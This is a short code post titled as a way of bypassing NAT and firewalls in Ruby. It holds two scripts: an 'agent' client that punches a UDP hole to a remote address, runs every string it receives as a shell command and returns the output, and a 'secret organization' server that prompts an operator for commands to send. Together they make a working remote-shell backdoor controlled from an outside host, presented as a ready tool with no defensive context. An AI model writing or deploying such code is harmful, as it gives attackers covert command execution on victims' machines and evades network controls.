bypassing NAT and firewall ruby. agent98.rb is a client secret_organization.rb is a server

agent98.rb

require 'socket'

remote_host = "[some public address]"

punch = UDPSocket.new
punch.bind('', 6311)
punch.send('', 0, remote_host, 6311)
punch.close

# # Bind for receiving
udp_in = UDPSocket.new
udp_in.bind('0.0.0.0', 6311)
puts "Binding to local port 6311"

loop do
  if IO.select([udp_in], nil, nil, rand(4))
    data = udp_in.recvfrom(1024)
    remote_port = data[1][1]
    remote_addr = data[1][3]
    local_machine_command = `#{data[0]}`
    udp_in.send(local_machine_command, 0, remote_host, 6311)
  end
end

secret_organization.rb

require "socket"

s = UDPSocket.new
s.bind("0.0.0.0", 6311)
loop do
        text, sender = s.recvfrom(1024)
        puts sender.inspect, text
        puts sender[2]
        print "Enter Command: "
        send_command = gets
        s.send(send_command, 0, sender[2], sender[1])
end